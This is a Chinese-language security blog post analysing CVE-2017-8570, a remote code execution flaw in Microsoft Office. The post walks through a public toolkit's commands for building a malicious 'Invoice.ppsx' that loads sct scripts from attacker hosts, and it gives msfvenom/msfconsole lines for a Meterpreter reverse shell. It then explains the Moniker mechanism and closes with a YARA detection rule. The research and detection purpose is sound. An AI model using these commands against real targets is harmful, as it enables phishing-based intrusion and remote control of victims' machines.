Cve_2017_8570

Posted by Jay teng Blog on November 5, 2018

layout: post title: APT常用文档漏洞–CVE-2017-8570 subtitle: CVE-2017-8570 date: 2018-11-05 author: DC header-img: img/post-bg-ios9-web.jpg catalog: true tags:

- CVE-2017-8570
    - RCE
    - VUL

CVE-2017-8570

总结之前复现处理过的文档类CVE 开源文档(8570基本上就是0199的补丁没有打全时的利用方式,并没有) 1 2

漏洞简介:

	该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是`Microsoft PowerPoint`执行时会初始化`Script”Moniker`对象,而在`PowerPoint`播放动画期间会`激活`该对象,从而执行`sct`脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。

	影响版本
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)

漏洞利用方式:

	采用了别人写好的脚本程序,分为三类利用方法:
# python cve-2017-8570_toolkit.py -h

用来生成EXP文档 (Microsoft Office PPSX RCE)

模式:

-M gen                                          只生成 exp 文档

     Generate malicious PPSX file:

      -w <Filename.ppsx>                   生成文件名字

      -u <http://attacker.com/test.sct>   提供sct载荷路径
                                      For example, http://attackerip.com/test.sct,在启动文档被请求
			      
-M exp                                          exp模式

     Exploitation:
 
      -H </tmp/custom.sct>                提供本地自定义sct文件路径进行装载
                                          NOTE: This option will not deliver payloads specified through options "-e" and "-l"
					  
      -p <TCP port:Default 80>            本地监听端口

      -e <http://attacker.com/shell.exe>  指定payload的路径The path of an executable file / meterpreter shell / payload  which needs to be executed on target.

      -l </tmp/shell.exe>                 本地载荷指定路径If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.
  1. 本地载荷提供

    1) 生成封装好恶意代码的文档
       # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
    2) 基于MSF 生成反弹shell程序,如果是x64 要用x64 的反弹shell . 然后执行msf监听
       # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
       # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
    3) 使用本地程序进行 服务提供进行监听,提供文件服务本地载荷
       # python cve-2017-8570_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
    

2.远程载荷提供

1) 生成封装好恶意代码的文档
   # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
2) 启动远程载荷监听
   # python cve-2017-8570_toolkit.py -M exp -e http://remoteserver.com/shell.exe

3.自定义SCT文件

1) 生成封装好恶意代码的文档
   # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
2) 启动 监听 并 采用自定义sct 文件进行
   # python cve-2017-8570_toolkit.py -M exp -H /tmp/custom.sct

个人测试了几次 ,根据版本不同,失败成功不是特别稳定,应该取决于补丁版本

漏洞分析:

		漏洞利用构造的两个关键点:
RTF文档在VISTA以后的系统中会自动释放Package对象到%tmp%目录的特性,在文档将恶意Scriptletfile(.sct)脚本文件以Package对象的方式插入,在受害者打开RTF文档后,Package对象中的Scriptletfile(.sct)脚本文件会自动释放到%tmp%目录下
		OLE2Link对象用来触发漏洞,漏洞触发成功后会直接加载%tmp%目录下的MUZTWOWEZTHOBKW.sct脚本执行包含漏洞的OLE2Link对象中使用了Composite Moniker来将“绑定”一个File Moniker,而File Moniker顾名思义会指定一个文件,漏洞样本中的File Moniker指定的是本地%tmp%目录中的sct脚本文件,而该sct脚本文件恰好是Package对象中释放出来的FileMoniker检测到加载的文件后缀是.sct后,通过COM接口加载执行Scriptletfile脚本文件

	     分析下其漏洞生成脚本 **cve-2017-8570_toolkit.py** 

	     generate_exploit_ppsx 模式下,shutil.copy2('template/template.ppsx', filename)  拷贝(0199的文档)然后,通过writestr 讲 ,写好的sct 脚本 写入替换package对象位置

ppt/slides/_rels/slide1.xml.rels 这个 进行replace

 "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\
	<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" Target=\"script:"+docuri+"\" TargetMode=\"External\"/><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing\" Target=\"../drawings/vmlDrawing1.vml\"/></Relationships>")

rtf 文档内存格式:

{\rt{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata 01050000020000000***}

整个漏洞利用关键点

Composite Moniker对象的作用是可以将某个Moniker对象定义为一个新的Moniker对象(NewMoniker),或者将多个Moniker对象进行组合,比如可以使用Composite Moniker对象将两个File Moniker对象组合成一个。假设Composite Moniker对象包含了两个File Moniker对象:

File Moniker 1:"c:\work\art"File Moniker 2:"..\backup\myfile.doc"

通过Composite Moniker对象进行组合后,相当于得到了一个带有完整文件路径的File Moniker对象:”c:\work\backup\myfile.doc”。

在触发漏洞的样本中有三个Moniker对象,分别是:

Composite Moniker:{00000309-0000-0000-C000-000000000046}File Moniker:{00000303-0000-0000-C000-000000000046}New Moniker:{ECABAFC6-7F19-11D2-978E-0000F8757E2A}

CompositeMoniker在将File Moniker定义为一个New Moniker新对象的过程中,会调用IMoniker::BindToObject方法将File Moniker进行Bind操作,IMoniker::BindToObject函数原型如下:

HRESULT BindToObject( [in]  IBindCtx *pbc, [in]  IMoniker *pmkToLeft, [in]  REFIID   riidResult, [out] void     **ppvResult );

pmkToLeft则指向File Moniker,File Moniker在样本中指定的文件为:%tmp%\MUZTWOWEZTHOBKW.sct,而由于FileMoniker需要初始化指定的文件,对象在检测到文件后缀后.sct后,会自动在注册表中查找处理.sct文件的接口:

确定.sct后缀

image.png

关联scriptletfile的CLISD

image.png

定位处理接口

image.png

查找到处理.sct文件的处理接口后,调用对应的接口启动.sct脚本执行环境,并执行脚本,栈回溯显示整个流程执行过程:

0:000> kChildEBP RetAddr  0037abe8 62e048ffjscript!CScriptRuntime::Run  <-- 执行.sct脚本0037ace4 62e04783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f0037ad3c 62e04cc3jscript!ScrFncObj::Call+0x7b0037ade0 62e13797jscript!CSession::Execute+0x23d0037ae2c 62e10899jscript!COleScript::ExecutePendingScripts+0x16b0037ae48 6c61831fjscript!COleScript::SetScriptState+0x510037ae58 6c618464scrobj!ScriptEngine::Activate+0x1a0037ae70 6c6199d3scrobj!ComScriptlet::Inner::StartEngines+0x6e0037aec0 6c61986escrobj!ComScriptlet::Inner::Init+0x1560037aed0 6c61980bscrobj!ComScriptlet::New+0x3f0037aef0 6c6197d0 scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x260037af10 6c623b7escrobj!ComScriptletConstructor::Create+0x4c0037af3c 6c612946scrobj!ComScriptletFactory::CreateInstanceWithContext+0x1150037af58 53c464bescrobj!ComBuiltInFactory::CreateInstance+0x190037afac 7601b573comsvcs!CNewMoniker::BindToObject+0x14f          <--New Moniker0037afe0 76083d8eole32!CCompositeMoniker::BindToObject+0x105      <-- Composite Moniker定义File Moniker0037b04c 31a82c6aole32!CDefLink::BindToSource+0x1bfWARNING: Stack unwind information notavailable. Following frames may be wrong.0037b090 3152f55ewwlib!wdGetApplicationObject+0x6cd2f0037b120 31473477wwlib!DllGetClassObject+0x158a4c0038031c 314667efwwlib!DllGetClassObject+0x9c965003831e03146501f wwlib!DllGetClassObject+0x8fcdd

yara 规则:

关键点:	
  1. RTF文档

  2. Composite Moniker对象
  3. new_moniker 值
rule rtf_composite_moniker {
   meta:
      ref = "https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html"
   strings:
      $header_rtf = "{\\rt" nocase
      $composite_moniker = "0903000000000000C000000000000046" nocase
      $new_moniker = "C6AFABEC197FD211978E0000F8757E2A" nocase
   condition:
      $header_rtf at 0 and $composite_moniker and $new_moniker
}

则现在只要调用这样方法的样本均会被检出